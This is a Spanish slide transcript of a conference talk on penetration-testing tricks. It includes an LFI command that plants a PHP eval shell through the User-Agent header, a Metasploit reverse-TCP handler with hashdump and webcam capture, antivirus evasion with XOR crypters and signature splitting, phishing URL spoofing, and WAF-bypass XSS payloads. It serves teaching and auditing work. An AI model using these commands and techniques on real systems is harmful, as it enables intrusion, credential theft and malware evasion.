cpmx5 - hacking like a boss por roberto salgado
DESCRIPTION
A veces la diferencia entre poder acceder a un sistema remoto con éxito o fallar puede ser el conocimiento de una herramienta, una línea de comando o incluso una técnica de evasión de AV/Firewall. Esta plática brindará consejos y trucos para poder hackear "like a Boss", que le dará una ventaja durante la auditoría de un sistema Ponente: Roberto Salgado. Director técnico y co-fundador de Websec México. Roberto ha participado y contribuido en proyectos importantes como ModSecurity, PHPIDS, sqlmap y el libro “Web Application Obfuscation“. Creó la base de conocimientos de inyección SQL, una de las referencias más completas disponibles en la web y Panoptic, un buscador de rutas de archivos comunes con vulnerabilidades tipo LFI. También desarrollo el método más rápido para extraer información de bases de datos vulnerables a inyección a ciegas.TRANSCRIPT
HACKING LIKE A BOSSTIPS Y TRUCOS PARA HACKEAR
Roberto Salgado
• Co-founder of Websec• Provide information security solutions• Pen-testing, training and monitoring• Pythonista / Security Researcher
Contacto
• [email protected]• http://www.websec.mx• http://www.twitter.com/@LightOS• http://www.github.com/lightos
TEMARIO
• DVWA
• Herramientas para el browser
• Buscar otras entradas de ataque
• Encontrar vulns con auditoria de código
• Phishing
• Evasión de AV
• Evasión de Firewall
PENTEST VS AUDITORIA DE VULNERABILIDADES
• En la auditoría de vulnerabilidades se listan todas las vulnerabilidades encontradas.
• En la prueba de penetración solo se listan las vulnerabilidades que se utilizaron para obtener acceso a la información, haciendo énfasis en el impacto de la explotación y no en la totalidad de las vulnerabilidades.
DAMN VULNERABLE WEB APPLICATION
DVWA es una aplicación web vulnerable a:
• Brute Force
• Command Execution
• Insecure Captcha
• File Inclusion
• SQLi
• SQLi Blind
• Upload
• XSS Reflected
• XSS Stored
LOCAL FILE INCLUSION
• LFI es una vulnerabilidad que nos permite leer archivos en un sistema
• DEMO - http://localhost/lfi.php?file
LOCAL FILE INCLUSION
Preferimos RCE:
• access.log
• error.log
• /proc/self/environ
• /proc/self/status
• /proc/{id}/fd/2
• /proc/self/fd/2
• /var/spool/mail
LOCAL FILE INCLUSION
curl "http://site.com/index.php?page=
../../../../../../../../proc/self/fd/2&cmd=phpinfo();“
-H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
LOCAL FILE INCLUSION
• RCE No es posible?
• En ese caso tenemos que buscar archivos confidenciales manualmente
• Buscar archivos de configuración o bitácoras para elevar nuestro acceso
HERRAMIENTAS
TOOLS / LFI / PANOPTIC
• Filtrar búsqueda por Sistema Operativo, tipo de archivo (conf o log), software, etc…
• Opción para guardar los archivos encontrados y quitar el HTML del archivo
• Soporta hilos, proxy HTML y socks 4/5, user-agent al azar, etc…
TOOLS / LFI / PANOPTIC
• https://github.com/lightos/Panoptic
• git clone https://github.com/lightos/Panoptic.git
• https://github.com/lightos/Panoptic/archive/master.zip
TOOLS / PROXY / FIREFOX
• Tamper Data
• Hack Bar
• Burp Suite Pro
TOOLS / PROXY / FIREFOX
• Tamper Data --- DEMO
• Hack Bar --- DEMO
• Burp Suite Pro
TOOLS / PROXY / CHROME
• Chrome Developer Tools (Ctrl+Shift+I o F12)
• API limitado == No hay equivalente a tamper data
• Burp Suite Pro al rescate!
TOOLS / BURPSUITE PRO
• http://portswigger.net/burp/download.html
TOOLS / BURPSUITE PRO
• Spider / Crawler
• Live + Escáner Pasivo
• Repeater
• Intruder
DEMO
TOOLS / FUZZDB
• FUZZDB – Lista de cadenas (strings) para fuzzear
• https://code.google.com/p/fuzzdb/
TOOLS / FUZZDB
svn checkout http://fuzzdb.googlecode.com/svn/trunk/fuzzdb-read-only
REVERSE IP LOOKUP
• No encontramos vulnerabilidades/entrada en una pagina
• Hosting compartido?
REVERSE IP LOOKUP
• App de Android
• https://play.google.com/store/apps/details?id=websec.ip2hosts&hl=es
DEMO
DNS LOOKUP
• Ataque de diccionario
• Ataque de fuerza bruta (brute force)
• Transferencia de zona
• SOA (Start of Authority) a través de DNS mal configurado
DNS LOOKUP
• Fierce - RSnake
• DNSMap - GNUCitizen
• DNS_enum – MSF
• DNS-Discovery
• DNSRecon
• DNSRecord
• DnsWalk
GOOGLE HACKING
• Enfocar la búsqueda a nuestra victima
• site: nuestro-objetivo.com.com.mx
• Encontrar archivos, logins, dominios adicionales
• Demo
ADMIN FINDER
• Como encontrar la pagina de admin?
• Google dork: admin finder
• Admin finder: ataque de diccionario
BUSCANDO VULNSEN
AUDITORIA DE CÓDIGO
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas• Buscar GET o POST
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas• Buscar GET o POST• En el directorio actual
BUSCANDO VULNS EN PUT IZ A
grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt
• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas• Buscar GET o POST• En el directorio actual• Guardar los resultados a vulns.txt
DEMO
PHISHING
URL SPOOFING
• Pedro Joaquín mostró esta técnica
• <a href="https://www.google.com/" onmousedown="this.href='http://websec.mx'">https://www.google.com/</a>
DEMO
ATAQUES CON UNICODE
• Continuación del rango ASCII
• Left-To-Right Override
• +U202D
• Right-To-Left Override
• +U202E
LIVE DEMO
PHISHING / TLD INCORRECTO
• Registran .com.mx pero no .com
• .net, .org, .co, .ca, .mx
• www.campus-party.com.mx - Existe
• www.campus-party.net – No existe
• www.campus-party.com – En venta
DOMAIN SQUATTING / BIT SQUATTING
• Rayos cósmicos
• Se sobrecalienta el dispositivo
• Pasa unas 600,000 veces al día
Herramienta:
• URLCRAZY
MSF AUTOPWNAGE
• Captura de pantalla (screenshot)
• Foto de la Webcam (webcam_snap)
• Información del sistema (sysinfo)
• Obtención de la IP (ipconfig)
• Routing de la red (route)
• Carpeta actual (pwd)
• Listar archivos (ls)
• Dumpear claves (run hashdump)
• Cierra la sesión
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
spool C:\\Users\\LightOS\\Desktop\\msf-output.log
exploit -j
LIVE DEMO
LIVE DEMO
EN UN MOMENTO…
EVASION DE AV
EVASIÓN DE ANTIVIRUS
• Dsplit
• Crypters publicos
• XOR Crypter
EVASIÓN DE ANTIVIRUS / DSPLIT
• Incrementalmente dividimos el archivo en bytes
• Escaneamos cada archivo generado
• Volvemos a dividir el archivo que es detectado y uno después
• Repetimos el proceso hasta que nos quede 1 byte de diferencia
• Modificamos el byte para cambiar la firma y evadir detección
EVASIÓN DE ANTIVIRUS / CRYPTER PUBLICO
• http://foro.udtools.net
EVASIÓN DE ANTIVIRUS / CRYPTER XOR
• Herramienta en Python que usa en template en C
• Hace XOR con un random byte y le agrega padding para cambiar el tamaño
• Carga el shellcode y hace la operación XOR al correr
LIVE DEMO
EVASION DE FIREWALL
• HTML 5 Security CheatSheet
• http://html5sec.org
• Base de Conocimientos de Inyecciones SQL
• http://www.websec.ca/kb/sql_injection
EVASION DE FIREWALL
EVASION DE FIREWALL
Meterpreter:
• Usar un reverse TCP
• Usar puertos permitidos: 53, 80, 443
EVASION DE FIREWALL
• URL Original:
• index.php?id=1
• URL Modificado:
• index.php?id%00 AQUÍ PODEMOS PONER LO QUE QUERAMOS=1
• Probar Bypasses:
• Index.php?id%00”><script>alert(0)</script>=1
SQLMAP TAMPER SCRIPTS• percentage.py
• space2hash.py
• space2dash.py
• space2morehash.py
• space2mssqlhash.py
• space2mysqldash.py
• space2mssqlblank.py
• charencode.py
• charunicodeencode.py
• chardoubleencode.py